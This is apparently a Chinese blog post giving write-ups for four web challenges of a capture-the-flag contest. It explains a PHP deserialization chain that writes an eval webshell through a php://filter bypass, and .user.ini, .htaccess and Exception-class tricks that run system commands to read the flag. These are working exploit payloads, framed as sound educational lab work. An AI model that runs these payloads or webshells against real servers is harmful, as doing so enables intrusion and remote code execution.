721ctf3


web01


<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }
    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}

unserialize($_GET["data"]);
?>

A类:

<?php
error_reporting(0);
class A {
    protected $store;
    protected $key;
    protected $expire;
    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }
    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);
        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }
        return $contents;
    }
    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }
    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }
    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

cleancontent:

public function cleanContents(array $contents) {
    $cachedProperties = array_flip([
        'path', 'dirname', 'basename', 'extension', 'filename',
        'size', 'mimetype', 'visibility', 'timestamp', 'type',
    ]);
    foreach ($contents as $path => $object) {
        if (is_array($object)) {
            $contents[$path] = array_intersect_key($object, $cachedProperties);
        }
    }
    return $contents;
}
  • array_filp()反转数组中所有的键以及它们关联的值
  • array_intersect_key()比较两个数组的键名,并返回交集

getForStorage:

public function getForStorage() {
    $cleaned = $this->cleanContents($this->cache);

    return json_encode([$cleaned, $this->complete]);
}
  • 调用cleanContents函数,传入cache变量
  • 返回json数据格式
  • complete变量也可控

save:

public function save() {
    $contents = $this->getForStorage();

    $this->store->set($this->key, $contents, $this->expire);
}
  • 调用getForStorage
  • 调用set(B类)

__destruct:

public function __destruct() {
    if (!$this->autosave) {
        $this->save();
    }
}
  • 调用autosave变量(可控)
  • 调用save函数

类B:

class B {
    protected function getExpireTime($expire): int {
        return (int) $expire;
    }
    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }
    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }
        $serialize = $this->options['serialize'];
        return $serialize($data);
    }
    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;
        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }
        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);
        $dir = dirname($filename);
        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }
        $data = $this->serialize($value);
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }
        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);
        if ($result) {
            return true;
        }
        return false;
    }
}

getExpireTime:

protected function getExpireTime($expire): int {
    return (int) $expire;
}
  • 接受a类变量,返回整数化后的变量

getCacheKey:

public function getCacheKey(string $name): string {
    return $this->options['prefix'] . $name;
}
  • 拼接字符串
  • options['prefix']可控

serialize:

protected function serialize($data): string {
    if (is_numeric($data)) {
        return (string) $data;
    }
    $serialize = $this->options['serialize'];
    return $serialize($data);
}
  • 如果传入的data参数将会格式化为string类型
  • 可以看到$serialize变量可控

set


 public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;
        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }
        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);
        $dir = dirname($filename);
        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }
        $data = $this->serialize($value);
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }
        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);
        if ($result) {
            return true;
        }
        return false;
    }
}
  • is_null()判断参数是否为NULL

  • expire变量调用了getExpireTime这个函数,格式化为int类型
    filename变量调用了getCacheKey这个函数,所以filename这个变量最终的值是和options[‘prefix’]拼接而成,然后根据filename创建目录(这个暂时不用关心)

  • $data调用serialize函数

  • 不需要压缩

      if ($this->options['data_compress'] && function_exists('gzcompress')) {
          //数据压缩
          $data = gzcompress($data, 3);
      }
    
  • $data和<?php exit();?>结合

,需要base64绕过

回归原题

  • $result = file_put_contents($filename, $data);

filename参数是options[‘prefix’]和$name进行拼接的结果,而这里的**$name是形参,所以这个$name**是A类的key变量,是由set函数传递过来的

由于options[‘prefix’]可控

所以构建:

options['prefix']="php://filter/write=convert.base64-decode/resource=";
key="webshell.php"; //$name

上面是文件名,之后构建shell的内容,也就是data变量

$data = $this->serialize($value);,$data是由$value序列化来的,$value是A类中的$contents,所以我们可以构造cache这个变量为数组,然后经过两个函数的处理,我们可以控制complete这个变量为shell的数据,经过json_encode这个函数的处理之后,由于json格式的字符都不满足base64编码的要求,所以我们可以将数据进行base64编码绕过,也就是

A->complete=base64_encode('xxx'.base64_encode('<?php @eval($_POST["echo"]);?>'))

首先将shellcode进行base64编码使得base64decode的时候不会影响其内容,然后再次进行base64_encode是为了绕过死亡exit,由于解码之后只剩21个字符,所以这里需要自己添加三个字符,使得前面有24个字符可以base64正常解码不影响后面shellcode的执行
那么到这里data的内容也构造好了,可是我们发现

php伪协议只解了一次编码,而我们这里经历了两次base64编码

serialize函数

protected function serialize($data): string {
    if (is_numeric($data)) {
        return (string) $data;
    }
    $serialize = $this->options['serialize'];
    return $serialize($data);
}
  • 返回值是$serialize($data),那么令$serialize=base64_decode

  • 因为:

public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

内容在$complete里,$this->cache=NULL;

  • 传入一个cache为数组内容为空
A->cache=NULL
  • 看A类

save函数调用了getforstorage函数,$this->store这个地方得是对象B才能调用set函数

$this->store = new B();
  • 最后:
A::__destruct->save()->getForStorage()->cleanStorage()
B::save()->set()->getExpireTime()getCacheKey()+serialize()->file_put_contents写入shell->getshell

答题思路:

构造文件名:
$filename->options['prefix'].$name
$name->A::$key
构造payload:
$data->$value->A::$contents->$complete和$cleaned

Payload:

<?php
class A{
protected $store;
protected $key;
protected $expire;

public function __construct()
{
    $this->cache = array();
    $this->complete = base64_encode("xxx".base64_encode('<?php @eval($_POST["111"]);?>'));
    $this->key = "shell.php";
    $this->store = new B();
    $this->autosave = false;
    $this->expire = 0;
}
}
class B{
    public $options = array();
    function __construct()
    {
        $this->options['serialize'] = 'base64_decode';
        $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
        $this->options['data_compress'] = false;
    }
}
echo urlencode(serialize(new A()));

  • 用蚁剑连接/shell.php密码111

web05

  • 日志文件查看一下flag字样,同时还找到了new_world.php,world.php,point.php
  • 最后发现new_world.php存在文件上传漏洞
  • 先上传.user.ini
auto_prepend_file=77.txt
  • 上传77.txt
name=77.txt&content=<?= assert(shell_exec('ls ./'));?>
  • 访问/upload/index.php

image-20210801083729784

  • 执行rce

Web03

  • POST传参
721_a.com==721_a_com

721[a.com==721_a.com
  • PHP特性,寻找有__tostring函数的类

    • ReflectionClass类以及Exception

image-20210801084944904

image-20210801084957653

  • 就相当于接受一个参数,再输出,如果是php代码会执行,会将执行结果转换成字符串输出
721[a.com=Exception&721[b.com=system('tac ./f*.php')  //直接也就拿到了flag
  • 如果看fx.php,反序列化构造
<?php

class Action
{
    public $ip = 'addd';
    public $name = 'php';

    public function __construct()
    {
        $this->name = new fafa();
    }

}

class fafa
{
    public $fa = "system('ls /');"; //要执行的命令

}

echo urlencode(serialize(new Action())); //要进行url编码
?>

web02

<?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
?>

.htaccess这个文件肯定不会删除,不然文件系统无法运转,那么我们可以给.htaccess写一句话,之后需要用\来处理\n,不然违背.htaccess的文件格式

?filename=.htaccess&content=php_value auto_prepend_fil\
e .htaccess                          //不能出现file
#<?php system('cat /fl[a]g');?>\  

经过url编码之后

?filename=.htaccess&content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23<? php%20system('cat%20/fl[a]g');?>\

文章作者: 尘落
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 尘落 !
评论
  目录